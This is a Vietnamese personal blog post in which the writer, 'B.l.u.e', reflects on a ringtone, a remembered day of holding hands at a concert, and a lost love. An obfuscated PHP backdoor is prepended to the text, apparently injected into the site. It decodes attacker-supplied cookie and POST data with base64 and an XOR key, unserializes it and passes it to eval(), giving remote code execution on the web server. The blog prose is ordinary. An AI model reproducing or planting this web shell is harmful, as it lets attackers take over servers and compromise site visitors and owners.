$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> những cảm xúc không biết đặt tên – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

những cảm xúc không biết đặt tên

Anh chỉ đơn thuần là đang ngồi và nghe Khánh Phương khi mọi thứ thình lình xảy đến. Cái thế lực – mang tên là cảm giác này, đầy huyền hoặc, như một mũi khoan, rè rè và khọt khẹt đâm thủng qua lớp bụi thời gian, để xoáy sâu vào tận cùng trí óc anh. Và những gì anh cố gắng giam hãm bấy lâu, nay được dịp rò rỉ theo cái lỗ hổng ấy, bay, bay, bay khắp nơi, làm đặc quánh lại cái bầu không khí chung quanh anh.

—————————————

Anh ghét xài điện thoại di động, nếu dây điện thoại bàn nhà anh đủ dài, dám anh đi đâu cũng vác nó theo rồi. Nhưng dây điện thoại bàn vốn dĩ luôn ngắn, vì vậy anh – như bao người, cũng dùng di động.
Cái cục gạch anh dùng không thể gọi là cục gạch, vì nó rất nhỏ gọn, nói tóm lại là rất đẹp. Nhưng không hiểu sao, anh ghét cái ý tưởng mọi người biết anh đang xài nó. Anh đồ rằng đây không phải vấn đề về thần kinh, à, thật ra anh cũng không dám chắc.
Nhắc lại, vì thế anh không để nhạc chuông, chủ yếu để rung, xem như đỡ tốn vài chục nghìn đồng đi mát xa.

Bài nhạc chuông đầu tiên anh để là Chỉ một mình anh, do Phương Anh trình bày. Đó cũng là lần đầu tiên, anh mong có người nhận ra rằng… anh đang xài điện thoại.

—————————————

Anh rất kém trong việc ghi nhớ các ngày tháng cụ thể. Anh dễ dàng quên những dịp lễ cực – kì – truyền – thống, nhưng anh lại nhớ ngày ấy.

Mà thật ra, anh cũng không nhớ “ngày ấy” chính xác là ngày nào trên lịch. Anh chỉ nhớ rằng, có một ngày như thế tồn tại trên đời này.

Đó là hai bàn tay, nắm thật chặt khi từng nốt nhạc vang lên.
Đó là em, thì thầm vào tai anh: Nhớ hãy nhớ hãy nhớ những lúc hai đứa tay nắm chặt tay.
Đó là anh, bằng tất cả những giác quan của mình, đang gắng ghi thật sâu tất cả mọi thứ đang diễn ra vào trí nhớ.

Đó là mình, của một thời…
…yêu nhau

—————————————

Kể từ đó, anh thôi không xài nhạc chuông, bất kể nhạc chuông gì, và cũng hạn chế xài điện thoại đến mức tối đa.

Chẳng hạn như tối nay, vì cái điện thoại đó, mà đột nhiên anh lại nhớ đến phát điên bài hát quen thuộc ấy, nhớ in ít hình ảnh em.

Anh có cần nói thật ra là sáng giờ anh không nhìn thấy cái điện thoại của anh ở xó xỉnh nào không nhỉ? Mà thôi, anh viết những gì ở đây, em cũng không đọc được, thì nói hay không có can hệ gì?

http://www.youtube.com/watch?v=ffnhZc2Rofc&fmt=18 – Link gì đây? Chẳng biết…

141109
B.l.u.e

p/s: hình ảnh chả liên quan gì 🙂.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.